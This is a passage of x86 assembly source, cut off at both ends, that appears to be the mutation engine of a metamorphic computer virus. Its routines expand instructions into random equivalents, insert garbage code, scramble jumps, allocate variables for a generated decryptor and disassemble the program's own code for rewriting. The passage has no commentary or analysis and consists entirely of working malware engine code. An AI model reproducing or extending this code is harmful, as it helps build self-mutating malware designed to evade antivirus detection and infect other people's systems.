cmp eax, 3
jae @@Single
call Random
and eax, 2
or eax, eax
jnz @@Single
@@Multiple: call Xp_SaveOperation
call Xp_GetTempVar
mov eax, 40h
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPMemReg
call Xp_GenPUSHMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 50h
Xp_GenPUSHReg_Common:
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenPUSHReg endp
Xp_GenPUSHMem proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
call Xp_SaveOperation
call Xp_GenPUSHMem
call Xp_GetTempVar
call Xp_GenPOPMem
call Xp_GenPUSHMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 51h
Xp_GenPUSHMem_Common:
mov [edi], eax
call Xp_CopyMemoryReference
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenPUSHMem endp
Xp_GenPUSHImm proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 1
jz @@Single
@@Multiple: call Xp_SaveOperation
call Xp_GetTempVar
mov eax, 40h
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPMemImm
call Xp_GenPUSHMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 68h
mov [edi], eax
mov eax, [ebp+Xp_Immediate]
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenPUSHImm endp
Xp_GenNEGMem proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
call Xp_GenNOTMem
call Xp_SaveOperation
mov eax, 1
jmp Xp_GenNOTMem_Common
@@Single: mov eax, [ebp+Xp_8Bits]
or eax, eax
jz @@NEG32
mov eax, 0E7h
jmp Xp_GenNOTMem_Common_Direct
@@NEG32: mov eax, 0E5h
jmp Xp_GenNOTMem_Common_Direct
Xp_GenNEGMem endp
Xp_GenNEGReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
call Xp_GenNOTReg
call Xp_SaveOperation
mov eax, 1
jmp Xp_GenNOTReg_Common
@@Single: mov eax, [ebp+Xp_8Bits]
or eax, eax
jz @@NEG32
mov eax, 0E6h
jmp Xp_GenNOTReg_Common_Direct
@@NEG32: mov eax, 0E4h
jmp Xp_GenNOTReg_Common_Direct
Xp_GenNEGReg endp
Xp_GenNOTReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 2
or eax, eax
jnz @@Single
call Xp_GenNEGReg
call Xp_SaveOperation
mov eax, -1
Xp_GenNOTReg_Common:
mov [ebp+Xp_Immediate], eax
xor eax, eax
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegImm
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, [ebp+Xp_8Bits]
or eax, eax
jz @@NOT32
mov eax, 0E2h
jmp @@NOT_
@@NOT32: mov eax, 0E0h
@@NOT_:
Xp_GenNOTReg_Common_Direct:
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenNOTReg endp
Xp_GenNOTMem proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
call Xp_GenNEGMem
call Xp_SaveOperation
mov eax, -1
Xp_GenNOTMem_Common:
mov [ebp+Xp_Immediate], eax
xor eax, eax
mov [ebp+Xp_Operation], eax
call Xp_GenOPMemImm
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, [ebp+Xp_8Bits]
or eax, eax
jz @@NOT32
mov eax, 0E3h
jmp @@NOT_
@@NOT32: mov eax, 0E1h
@@NOT_:
Xp_GenNOTMem_Common_Direct:
mov [edi], eax
call Xp_CopyMemoryReference
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenNOTMem endp
Xp_GenCALLReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 2
or eax, eax
jnz @@Single
call Xp_SaveOperation
call Xp_GetTempVar
mov eax, 40h
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPMemReg
call Xp_GenCALLMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 0ECh
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenCALLReg endp
Xp_GenCALLMem proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 1
jnz @@Single
@@Multiple: call Random
and eax, 1
jz @@Multiple_Reg
call Xp_SaveOperation
call Xp_GenPUSHMem
call Xp_GetTempVar
call Xp_GenPOPMem
call Xp_GenCALLMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Multiple_Reg:
call Xp_SaveOperation
@@Multiple_Reg_Again:
call Random
and eax, 3
cmp eax, 3
jz @@Multiple_Reg_Again
mov [ebp+Xp_Register], eax
mov eax, 40h
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPRegMem
call Xp_GenCALLReg
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 0EAh
Xp_GenCALLMem_Common:
mov [edi], eax
call Xp_CopyMemoryReference
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenCALLMem endp
Xp_GenRET proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
call Xp_SaveOperation
call Xp_GetTempVar
call Xp_GenPOPMem
call Xp_GenJMPMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 0FEh
mov [edi], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenRET endp
Xp_GenJMP proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
mov eax, [ebp+AddressOfLastInstruction]
sub eax, 10h
cmp eax, esi
jz @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
@@Double_Other:
call Random
and eax, 3
or eax, eax
jz @@Double_Other
cmp eax, 1
jz @@Double_JccJcc
cmp eax, 2
jz @@Double_CMPJcc
mov edx, 73h
mov ecx, 76h
@@Double_JccJcc2:
call Random
or eax, eax
jz @@Double_JccJcc2_Next
mov edx, 75h
@@Double_JccJcc2_Next:
call Random
and eax, 1
jz @@Double_JccJcc2_Next02
mov eax, edx
mov edx, ecx
mov ecx, eax
@@Double_JccJcc2_Next02:
call Xp_SaveOperation
push ecx
mov [ebp+Xp_Operation], edx
call Xp_GenJcc_SingleJcc
pop ecx
mov [ebp+Xp_Operation], ecx
call Xp_GenJcc_SingleJcc
call Xp_RestoreOperation
jmp @@InsertStopMark
@@Double_CMPJcc:
call Xp_SaveOperation
mov eax, 38h
mov [ebp+Xp_Operation], eax
@@Double_CMPJcc_x:
call Random
and eax, 7
cmp eax, 4
jz @@Double_CMPJcc_x
mov [ebp+Xp_Register], eax
mov [ebp+Xp_SrcRegister], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPRegReg
call Xp_GetSpecialJcc
@@Double_CMPJcc_Common:
xor eax, 1
mov [ebp+Xp_Operation], eax
call Xp_GenJcc_SingleJcc
call Xp_RestoreOperation
jmp @@InsertStopMark
@@Double_JccJcc:
call Xp_SaveOperation
call Random
and eax, 0Fh
add eax, 70h
mov [ebp+Xp_Operation], eax
push eax
call Xp_GenJcc_SingleJcc
pop eax
jmp @@Double_CMPJcc_Common
@@Single: mov eax, 0E9h
mov [edi], eax
mov eax, [ebp+Xp_Immediate]
mov [edi+1], eax
add edi, 10h
Xp_EndJmp:
call Random
and eax, 2
or eax, eax
jnz Xp_DecreaseRecurseLevel
call Random
and eax, 7
add eax, 1
mov ecx, eax
@@LoopInsert:
call Random
mov al, 0FDh
mov [edi], eax
add edi, 10h
sub ecx, 1
or ecx, ecx
jnz @@LoopInsert
jmp Xp_DecreaseRecurseLevel
@@InsertStopMark:
call Random
and eax, 3
or eax, eax
jz @@InsertStopMark
cmp eax, 1
jz @@GenerateRET
cmp eax, 2
jz @@GenerateJMPMem
@@GenerateJMPReg:
call Xp_SaveOperation
call Random
and eax, 7
mov [ebp+Xp_Register], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenJMPReg
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@GenerateJMPMem:
call Xp_SaveOperation
call Xp_GetTempVar
call Xp_GenJMPMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@GenerateRET:
call Xp_GenRET
jmp Xp_DecreaseRecurseLevel
Xp_GenJMP endp
Xp_GenJMPReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 1
jz @@Single
call Random
and eax, 2
or eax, eax
jz @@Double_1
@@Double_0: call Xp_SaveOperation
call Xp_GetTempVar
mov eax, 40h
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPMemReg
call Xp_GenJMPMem
call Xp_RestoreOperation
jmp Xp_EndJmp
@@Double_1: call Xp_GenPUSHReg
call Xp_GenRET
jmp Xp_EndJmp
@@Single: mov eax, 0EDh
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
add edi, 10h
jmp Xp_EndJmp
Xp_GenJMPReg endp
Xp_GenJMPMem proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
call Xp_SaveOperation
call Xp_GenPUSHMem
call Xp_GetTempVar
call Xp_GenPOPMem
call Xp_GenJMPMem
call Xp_RestoreOperation
jmp Xp_EndJmp
@@Single: mov eax, 0EBh
mov [edi], eax
call Xp_CopyMemoryReference
add edi, 10h
jmp Xp_EndJmp
Xp_GenJMPMem endp
Xp_GenMOVZX proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 1
jz @@Single
call Random
and eax, 1
jz @@Double_1
@@Double_2:
xor eax, eax
mov [ebp+Xp_8Bits], eax
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegMem
xor eax, eax
mov [ebp+Xp_8Bits], eax
mov eax, 20h
mov [ebp+Xp_Operation], eax
mov eax, 0FFh
mov [ebp+Xp_Immediate], eax
call Xp_GenOPRegImm
jmp Xp_DecreaseRecurseLevel
@@Double_1:
mov eax, [ebp+Register8Bits]
call Xpand_TranslateRegister
mov ebx, [ebp+Xp_Register]
cmp eax, ebx
jnz @@Double_2
mov eax, 40h
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_Immediate], eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPRegImm
mov eax, 80h
mov [ebp+Xp_8Bits], eax
call Xp_GenOPRegMem
jmp Xp_DecreaseRecurseLevel
@@Single:
mov eax, 0F8h
mov [edi], eax
call Xp_CopyMemoryReference
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenMOVZX endp
Xp_GenJcc proc
call Xp_IncreaseRecurseLevel
cmp eax, 2
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
@@Double: call Random
and eax, 0Fh
or eax, eax
jnz @@Double2
mov eax, 1
mov [edi+7], eax
call @@InternalSingle2
jmp Xp_DecreaseRecurseLevel
@@Double2: mov eax, [ebp+Xp_Operation]
cmp eax, 73h
jz @@Double_JAE
cmp eax, 75h
jz @@Double_JNZ
cmp eax, 76h
jnz @@Single
@@Double_JBE:
mov ebx, 72h
mov ecx, 74h
mov edx, 76h
jmp @@Double_GarbleAndSelect
@@Double_JNZ:
mov ebx, 72h
mov ecx, 75h
mov edx, 77h
jmp @@Double_GarbleAndSelect
@@Double_JAE:
mov ebx, 73h
mov ecx, 74h
mov edx, 77h
@@Double_GarbleAndSelect:
call Xp_GarbleRegisters
call Xp_SaveOperation
push ecx
mov [ebp+Xp_Operation], edx
call @@InternalSingle
pop ecx
mov [ebp+Xp_Operation], ecx
call @@InternalSingle
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: call @@InternalSingle
jmp Xp_DecreaseRecurseLevel
Xp_GenJcc_SingleJcc:
@@InternalSingle:
xor eax, eax
mov [edi+7], eax
@@InternalSingle2:
mov eax, [ebp+Xp_Operation]
mov [edi], eax
mov eax, [ebp+Xp_Immediate]
mov [edi+1], eax
add edi, 10h
ret
Xp_GenJcc endp
Xp_GarbleRegisters proc
call Random
and eax, 3
or eax, eax
jz Xp_GarbleRegisters
cmp eax, 1
jz @@Permutation0
cmp eax, 2
jz @@Permutation1
@@Permutation2:
mov eax, ebx
mov ebx, edx
mov edx, eax
jmp @@Permutation0
@@Permutation1:
mov eax, ebx
mov ebx, ecx
mov ecx, eax
@@Permutation0:
call Random
and eax, 1
jz @@Return
@@Permutation0_0:
mov eax, edx
mov edx, ecx
mov ecx, eax
@@Return: ret
Xp_GarbleRegisters endp
Xp_MakeComposedOPImm proc
call Xp_SaveOperation
call Random
mov ebx, eax
mov edx, [ebp+Xp_Immediate]
mov eax, [ebp+Xp_Operation]
or eax, eax
jz @@Double_OP_ADD
cmp eax, 8
jz @@Double_OP_OR
cmp eax, 20h
jz @@Double_OP_AND
cmp eax, 30h
jz @@Double_OP_XOR
cmp eax, 40h
jnz @@Return_Error
@@Double_OP_MOV:
call Random
and eax, 7
or eax, eax
jz @@Double_OP_MOV_ADD
cmp eax, 1
jz @@Double_OP_MOV_OR
cmp eax, 2
jz @@Double_OP_MOV_AND
cmp eax, 3
jz @@Double_OP_MOV_XOR
cmp eax, 4
jnz @@Double_OP_MOV
@@Double_OP_MOV_MOV:
mov eax, [ebp+Xp_FlagRegOrMem]
or eax, eax
jz @@Double_OP_MOV_MOV_MakeReg
call Xp_GenOPMemImm
jmp @@Return_NoError
@@Double_OP_MOV_MOV_MakeReg:
call Xp_GenOPRegImm
jmp @@Return_NoError
@@Double_OP_MOV_ADD:
sub edx, ebx
xor ecx, ecx
jmp @@Double_OP_MOV_OP
@@Double_OP_MOV_OR:
and ebx, edx
call Random
and eax, edx
xor edx, ebx
or edx, eax
mov ecx, 8
jmp @@Double_OP_MOV_OP
@@Double_OP_MOV_AND:
call Random
and eax, 1
jz @@Double_OP_MOV_AND_2
call Random
not ebx
and eax, ebx
not ebx
mov ecx, eax
or ecx, edx
or edx, ebx
mov ebx, ecx
mov ecx, 20h
jmp @@Double_OP_MOV_OP
@@Double_OP_MOV_AND_2:
mov ecx, ebx
not ecx
or ecx, edx
or edx, ebx
mov ebx, ecx
mov ecx, 20h
jmp @@Double_OP_MOV_OP
@@Double_OP_MOV_XOR:
xor edx, ebx
mov ecx, 30h
@@Double_OP_MOV_OP:
push ecx
push edx
mov eax, 40h
mov [ebp+Xp_Operation], eax
mov [ebp+Xp_Immediate], ebx
mov eax, [ebp+Xp_FlagRegOrMem]
or eax, eax
jz @@Double_OP_MOV_OP_MakeReg
call Xp_GenOPMemImm
pop edx
pop ecx
mov [ebp+Xp_Operation], ecx
mov [ebp+Xp_Immediate], edx
call Xp_GenOPMemImm
jmp @@Return_NoError
@@Double_OP_MOV_OP_MakeReg:
call Xp_GenOPRegImm
pop edx
pop ecx
mov [ebp+Xp_Operation], ecx
mov [ebp+Xp_Immediate], edx
call Xp_GenOPRegImm
jmp @@Return_NoError
@@Double_OP_ADD:
sub edx, ebx
jmp @@Double_OP_OP
@@Double_OP_OR:
and ebx, edx
mov ecx, edx
xor edx, ebx
call Random
and ecx, eax
or edx, ecx
jmp @@Double_OP_OP
@@Double_OP_AND:
mov ecx, ebx
or ebx, edx
not ecx
or edx, ecx
jmp @@Double_OP_OP
@@Double_OP_XOR:
xor edx, ebx
@@Double_OP_OP:
push edx
mov [ebp+Xp_Immediate], ebx
mov eax, [ebp+Xp_FlagRegOrMem]
or eax, eax
jz @@Double_OP_OP_MakeReg
call Xp_GenOPMemImm
pop edx
mov [ebp+Xp_Immediate], edx
call Xp_GenOPMemImm
jmp @@Return_NoError
@@Double_OP_OP_MakeReg:
call Xp_GenOPRegImm
pop edx
mov [ebp+Xp_Immediate], edx
call Xp_GenOPRegImm
@@Return_NoError:
call Xp_RestoreOperation
xor eax, eax
ret
@@Return_Error:
call Xp_RestoreOperation
mov eax, 1
ret
Xp_MakeComposedOPImm endp
Xp_MakeSET_WEIGHT proc
call Xp_SaveOperation
mov eax, [ebp+Xp_SrcRegister]
mov [ebp+Xp_Register], eax
call Xp_GenPUSHReg
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegImm
call Xp_RestoreOperation
mov eax, [ebp+Xp_Immediate]
or eax, eax
@@SetWeight:
mov [ebp+Xp_Immediate], eax
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegImm
call Xp_GenOPMemReg
mov eax, [ebp+Xp_SrcRegister]
mov [ebp+Xp_Register], eax
call Xp_GenPOPReg
ret
Xp_MakeSET_WEIGHT endp
Xp_GetSpecialJcc proc
push ebx
call Random
mov ebx, eax
and eax, 0Eh
cmp eax, 8
jae @@Next
shr ebx, 1
@@Next: shr ebx, 1
and ebx, 1
add eax, ebx
add eax, 70h
pop ebx
ret
Xp_GetSpecialJcc endp
Xp_CopyMemoryReference proc
mov eax, [ebp+Xp_Mem_Index1]
mov [edi+1], eax
mov eax, [ebp+Xp_Mem_Index2]
mov [edi+2], eax
mov eax, [ebp+Xp_Mem_Addition]
mov [edi+3], eax
ret
Xp_CopyMemoryReference endp
Xp_InsertGarbage proc
call Random
and eax, 7
or eax, eax
jz @@MakeOneByter
cmp eax, 1
jz @@MakeMOVRegReg
cmp eax, 2
jz @@MakeANDs1
cmp eax, 3
jz @@MakeOR0
cmp eax, 4
jz @@MakeXOR0
cmp eax, 5
jz @@MakeADD0
cmp eax, 6
jz @@MakeCMPJcc
jmp Xp_InsertGarbage
@@MakeADD0:
xor eax, eax
mov [ebp+Xp_Operation], eax
@@MakeOP0:
xor eax, eax
mov [ebp+Xp_Immediate], eax
@@MakeOPx:
xor eax, eax
mov [edi+0Bh], eax
mov [edi+0Ch], esi
xor eax, eax
mov [ebp+Xp_8Bits], eax
@@MakeOPReg0:
call Random
and eax, 7
cmp eax, 4
jz @@MakeOPReg0
cmp eax, [ebp+TranslatedDeltaRegister]
jz @@MakeOPReg0
mov [ebp+Xp_Register], eax
call Xp_GenOPRegImm
ret
@@MakeOR0:
mov eax, 8
mov [ebp+Xp_Operation], eax
jmp @@MakeOP0
@@MakeXOR0:
mov eax, 30h
mov [ebp+Xp_Operation], eax
jmp @@MakeOP0
@@MakeANDs1:
mov eax, 20h
mov [ebp+Xp_Operation], eax
mov eax, -1
mov [ebp+Xp_Immediate], eax
jmp @@MakeOPx
@@MakeCMPJcc:
call Random
and eax, 7
cmp eax, 4
jz @@MakeADD0
cmp eax, [ebp+TranslatedDeltaRegister]
jz @@MakeADD0
mov [ebp+Xp_Register], eax
mov [ebp+Xp_SrcRegister], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
mov [edi+0Bh], eax
mov [edi+0Ch], esi
mov eax, 38h
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegReg
call Xp_GetSpecialJcc
mov [ebp+Xp_Operation], eax
@@OtherLabel:
call Random
and eax, 01F8h
cmp eax, [ebp+NumberOfLabels]
jae @@OtherLabel
add eax, [ebp+LabelTable]
mov [ebp+Xp_Immediate], eax
call Xp_GenJcc_SingleJcc
ret
@@MakeMOVRegReg:
call Random
and eax, 7
cmp eax, 4
jz @@MakeMOVRegReg
cmp eax, [ebp+TranslatedDeltaRegister]
jz @@MakeMOVRegReg
mov [ebp+Xp_Register], eax
mov [ebp+Xp_SrcRegister], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
mov [edi+0Bh], eax
mov [edi+0Ch], esi
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegReg
ret
@@MakeOneByter:
call Random
and eax, 1
jz @@OnlyNOP
call Random
and eax, 0100h
add eax, 0F8FDh
jmp @@OtherOneByter
@@OnlyNOP: mov eax, 90FDh
@@OtherOneByter:
mov [edi], eax
xor eax, eax
mov [edi+0Bh], eax
mov [edi+0Ch], esi
add edi, 10h
call Random
and eax, 0Fh
or eax, eax
jz @@MakeOneByter
ret
Xp_InsertGarbage endp
Xp_IncreaseRecurseLevel proc
call Random
and eax, 1
jnz @@Close
mov eax, [ebp+Xp_RecurseLevel]
add eax, 1
mov [ebp+Xp_RecurseLevel], eax
@@Close:
ret
Xp_IncreaseRecurseLevel endp
Xp_RestoreOpAndDecreaseRecurseLevel proc
call Xp_RestoreOperation
Xp_RestoreOpAndDecreaseRecurseLevel endp
Xp_DecreaseRecurseLevel proc
call Random
and eax, 1
jnz @@Close
mov eax, [ebp+Xp_RecurseLevel]
sub eax, 1
mov [ebp+Xp_RecurseLevel], eax
@@Close:
ret
Xp_DecreaseRecurseLevel endp
Xp_GetTempVar proc
push edx
call Random
mov edx, eax
@@VariableCheck:
and edx, 1FFF8h
mov eax, [ebp+CreatingADecryptor]
or eax, eax
jz @@Normal1
and edx, 00FF8h
cmp edx, 20h
jb @@Add20
cmp edx, 0F00h
jb @@Normal1
xor edx, edx
@@Add20: add edx, 20h
@@Normal1: add edx, [ebp+VarMarksTable]
mov eax, [edx]
or eax, eax
jz @@VariableFound
sub edx, [ebp+VarMarksTable]
add edx, 8
jmp @@VariableCheck
@@VariableFound:
mov eax, 1
mov [edx], eax
sub edx, [ebp+VarMarksTable]
call Random
and eax, 3
add edx, eax
mov eax, [ebp+CreatingADecryptor]
or eax, eax
jz @@Normal2
add edx, [ebp+Decryptor_DATA_SECTION]
mov [ebp+Xp_Mem_Addition], edx
mov eax, 8
jmp @@Continue
@@Normal2: add edx, [ebp+New_DATA_SECTION]
mov [ebp+Xp_Mem_Addition], edx
mov eax, [ebp+DeltaRegister]
call Xpand_TranslateRegister
@@Continue: mov [ebp+Xp_Mem_Index1], eax
mov eax, 8
mov [ebp+Xp_Mem_Index2], eax
pop edx
ret
Xp_GetTempVar endp
Xp_SaveOperation proc
pop ebx
mov eax, [ebp+Xp_Operation]
push eax
mov eax, [ebp+Xp_Mem_Index1]
push eax
mov eax, [ebp+Xp_Mem_Index2]
push eax
mov eax, [ebp+Xp_Mem_Addition]
push eax
mov eax, [ebp+Xp_Register]
push eax
mov eax, [ebp+Xp_SrcRegister]
push eax
mov eax, [ebp+Xp_Immediate]
push eax
mov eax, [ebp+Xp_8Bits]
push eax
push ebx
ret
Xp_SaveOperation endp
Xp_RestoreOperation proc
pop ebx
pop eax
mov [ebp+Xp_8Bits], eax
pop eax
mov [ebp+Xp_Immediate], eax
pop eax
mov [ebp+Xp_SrcRegister], eax
pop eax
mov [ebp+Xp_Register], eax
pop eax
mov [ebp+Xp_Mem_Addition], eax
pop eax
mov [ebp+Xp_Mem_Index2], eax
pop eax
mov [ebp+Xp_Mem_Index1], eax
pop eax
mov [ebp+Xp_Operation], eax
push ebx
ret
Xp_RestoreOperation endp
;--------------------------------------------------------------------------------------
DecodeMemoryConstruction proc
mov eax, 00000808h
mov [edi+1], eax
xor eax, eax
mov [edi+3], eax
mov ebx, 1
mov eax, [edx]
and eax, 7
cmp eax, 4
jz @@ThirdOpcodeUsed
cmp eax, 5
jz @@DirectMemory
@@SetBaseRegister:
mov eax, [edx]
and eax, 7
push edx
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
pop edx
mov [edi+1], eax
mov eax, [edx]
and eax, 0C0h
or eax, eax
jz @@NoAddition
cmp eax, 40h
jz @@ByteAddition
@@DwordAddition:
add ebx, 4
mov eax, [edx+1]
jmp @@SetAddition
@@ByteAddition:
add ebx, 1
mov eax, [edx+1]
and eax, 0FFh
cmp eax, 7Fh
jbe @@SetAddition
add eax, 0FFFFFF00h
@@SetAddition:
mov [edi+3], eax
@@NoAddition:
ret
@@DirectMemory:
mov eax, [edx]
and eax, 0C0h
or eax, eax
jnz @@SetBaseRegister
jmp @@DwordAddition
@@ThirdOpcodeUsed:
add ebx, 1
mov eax, [edx+1]
and eax, 38h
shr eax, 3
cmp eax, 4
jz @@IgnoreScalarRegister
mov ecx, eax
mov eax, [edx+1]
and eax, 0C0h
or eax, ecx
push edx
mov edx, [edi+2]
and edx, 0FFFFFF00h
and eax, 0FFh
add eax, edx
pop edx
mov [edi+2], eax
@@IgnoreScalarRegister:
mov eax, [edx]
and eax, 0C0h
or eax, eax
jz @@EBPMeansDwordAddition
mov eax, [edx+1]
and eax, 7
push edx
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
pop edx
mov [edi+1], eax
mov eax, [edx]
and eax, 0C0h
cmp eax, 40h
jz @@ByteAddition2
@@DwordAddition2:
add ebx, 4
mov eax, [edx+2]
jmp @@SetAddition2
@@ByteAddition2:
add ebx, 1
mov eax, [edx+2]
and eax, 0FFh
cmp eax, 7Fh
jbe @@SetAddition2
add eax, 0FFFFFF00h
@@SetAddition2:
mov [edi+3], eax
ret
@@EBPMeansDwordAddition:
mov eax, [edx+1]
and eax, 7
cmp eax, 5
jz @@DwordAddition2
push edx
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
pop edx
mov [edi+1], eax
ret
DecodeMemoryConstruction endp
DisasmCode proc
xor eax, eax
mov [ebp+NumberOfLabels], eax
mov [ebp+NumberOfLabelsPost], eax
mov ecx, 80000h/4
mov edi, [ebp+PathMarksTable]
xor eax, eax
@@LoopInitializePathTable:
call Random
and eax, 0FCh
mov [edi], eax
add edi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopInitializePathTable
mov edi, [ebp+InstructionTable]
@@LoopTrace:
@@CheckCurrentLabel:
mov eax, esi
sub eax, [ebp+_CODE_SECTION]
sub eax, ebp
add eax, [ebp+PathMarksTable]
mov eax, [eax]
and eax, 0FFh
cmp eax, 1
jnz @@CheckIfFutureLabelArrived
mov edx, [ebp+InstructionTable]
@@CheckCurrEIP_001:
mov eax, [edx+0Ch]
cmp eax, esi
jz @@ItsTheCurrentEIP
add edx, 10h
jmp @@CheckCurrEIP_001
@@ItsTheCurrentEIP:
mov [edi+0Ch], esi
mov eax, [edi+0Bh]
and eax, 0FFFFFF00h
mov [edi+0Bh], eax
mov eax, 0E9h
mov [edi], eax
mov eax, esi
mov ebx, edx
call InsertLabel
mov [edi+1], edx
add edi, 10h
mov ecx, [ebp+NumberOfLabelsPost]
or ecx, ecx
jz @@FinDeTraduccion
mov ebx, [ebp+FutureLabelTable]
@@LoopCheckOtherFutureLabel:
mov eax, [ebx]
cmp eax, esi
jz @@OtherFutureLabelFound
@@LoopSearchOtherFutureLabel:
add ebx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopCheckOtherFutureLabel
mov ecx, [ebp+NumberOfLabelsPost]
mov ebx, [ebp+FutureLabelTable]
@@LoopCheckOtherFutureLabel2:
mov eax, [ebx]
or eax, eax
jz @@LoopSearchOtherFutureLabel2
sub eax, ebp
sub eax, [ebp+_CODE_SECTION]
add eax, [ebp+PathMarksTable]
mov eax, [eax]
and eax, 0FFh
cmp eax, 1
jz @@ReleaseLabelsInThatAddress
@@LoopSearchOtherFutureLabel2:
add ebx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopCheckOtherFutureLabel2
jmp @@GetEIPFromFutureLabelList
@@ReleaseLabelsInThatAddress:
push ebx
push ecx
mov esi, [ebx]
call ReleaseFutureLabels
pop ecx
pop ebx
jmp @@LoopSearchOtherFutureLabel2
@@OtherFutureLabelFound:
mov eax, [ebx+4]
mov [eax+1], edx
xor eax, eax
mov [ebx], eax
jmp @@LoopSearchOtherFutureLabel
@@CheckIfFutureLabelArrived:
mov eax, [edi+0Bh]
and eax, 0FFFFFF00h
mov [edi+0Bh], eax
call ReleaseFutureLabels
@@DefineInstr:
mov [edi+0Ch], esi
mov ebx, esi
sub ebx, [ebp+_CODE_SECTION]
sub ebx, ebp
add ebx, [ebp+PathMarksTable]
mov eax, [ebx]
or eax, 1
mov [ebx], eax
mov eax, [esi]
and eax, 0FFh
cmp eax, 3Fh
jbe @@GenericOpcode
cmp eax, 47h
jbe @@Op_INC
cmp eax, 4Fh
jbe @@Op_DEC
cmp eax, 5Fh
jbe @@Op_PUSHPOP
cmp eax, 68h
jz @@Op_PUSHValue
cmp eax, 6Ah
jz @@Op_PUSHSignedValue
cmp eax, 70h
jb @@DefineInstr_00
cmp eax, 7Fh
jbe @@Jcc
@@DefineInstr_00:
cmp eax, 80h
jb @@DefineInstr_01
cmp eax, 83h
jbe @@GenericOpcode2
@@DefineInstr_01:
cmp eax, 84h
jz @@Gen_8b_MemReg
cmp eax, 85h
jz @@Gen_32b_MemReg
cmp eax, 8Bh
jbe @@GenericOpcode
cmp eax, 8Dh
jz @@LEA
cmp eax, 8Fh
jz @@POPMem
cmp eax, 90h
jz @@NOP
cmp eax, 0A8h
jz @@TESTALValue
cmp eax, 0A9h
jz @@TESTEAXValue
cmp eax, 0B0h
jb @@DefineInstr_02
cmp eax, 0B7h
jbe @@MOVReg8Value
cmp eax, 0BFh
jbe @@MOVRegValue
@@DefineInstr_02:
cmp eax, 0C0h
jz @@BitShifting8
cmp eax, 0C1h
jz @@BitShifting32
cmp eax, 0C3h
jz @@RET
